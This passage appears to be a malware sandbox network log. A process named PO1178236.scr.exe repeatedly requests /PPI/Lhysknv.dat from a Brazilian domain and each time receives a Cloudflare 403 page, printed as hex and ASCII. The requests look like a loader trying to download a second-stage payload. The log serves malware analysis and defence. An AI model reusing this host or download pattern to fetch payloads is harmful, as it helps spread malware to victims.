2025-01-09 07:28:28 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:43 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jJvWwO9ZMvWPMkhUzVZSeW1TBxC3GBXBDexBTa%2FYCTI0xXDGIeHEM%2BTnpQ5rK2eoWyD4mhqrPinKRh9S81WwwC9NGk2Ua7FlzkaRGKdcBlVZn2WLcFCjibBGkUygyzf5%2BksUca5AhUa6GLqy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5f4bca98cb9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&min_rtt=1963&rtt_var=747&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1454183&cwnd=184&unsent_bytes=0&cid=b82029fc1c9fce9e&ts=138&x=0"
2025-01-09 07:28:28 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:28 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:28:28 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:28:28 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 66 34 62 63 61 39 38 63 62 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5f4bca98cb9</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:28:28 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 66 34 62 63 61 39 38 63 62 39 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5f4bca98cb9',t:'MTczNjQwNzcwOC4wMDAwMDA='};var a
2025-01-09 07:28:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49744	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:29 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:29 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=92%2BGApzHWT3M%2BuoLLwMIBG23IKDAz524YSTL%2B62z5iuMz4FJYQRbsbp8xv1jKrsqucbUJuF8%2Fdj9GKKGfisSNQbXIk3xBZ4HGfuUdljdt5s%2FcDeWetmNY0uSjp9bY5QuZQbJZXUGpkbFhlLX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5f86e4f42d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1699&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1679125&cwnd=246&unsent_bytes=0&cid=367c9e561fd5de34&ts=123&x=0"
2025-01-09 07:28:29 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:29 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:29 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:29 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 66 38 36 65 34 66 34 32 64 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5f86e4f42d3</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:29 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 66 38 36 65 34 66 34 32 64 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 77 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5f86e4f42d3',t:'MTczNjQwNzcwOS4wMDAwMDA='};v
2025-01-09 07:28:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49745	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:30 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:30 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1k3gV%2BMjj13s7187CnmBDfkDYqxbmilupjSkiRcU4iaIJga%2BuXQrddV3H2JwhpVTXmKXtLqsq%2FAYYKxpkx0ZO0dFAy2ok1BoXDqzRqXboyofRviBhZtsuu2stvhTbM2nVwpDSd5M%2BzSOPXp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5fc1e2042f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1578&min_rtt=1571&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1790312&cwnd=234&unsent_bytes=0&cid=fedffa9ca3d677a5&ts=133&x=0"
2025-01-09 07:28:30 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:30 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:28:30 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:28:30 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 35 66 63 31 65 32 30 34 32 66 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b5fc1e2042f8</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:28:30 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 35 66 63 31 65 32 30 34 32 66 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4d 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b5fc1e2042f8',t:'MTczNjQwNzcxMC4wMDAwMDA='};var
2025-01-09 07:28:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49746	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:30 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:30 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oZJyvtdjNycW1cNEMm44nOuh2EjUWOj0rnHzI%2BqBBj5Vu7Iy59HCU59xuvb5YNpRKjEO%2BsCpbkX2be%2FJXjcJi9jMk0TPdIVMdJ2bNz%2FC5QCJOIlgSmzULkc78WihIuG%2Bk20ad4TkP4wmUo36"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b5ffe9788c69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2026&min_rtt=2014&rtt_var=779&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1383886&cwnd=217&unsent_bytes=0&cid=7fc4f23b749dd56b&ts=145&x=0"
2025-01-09 07:28:30 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 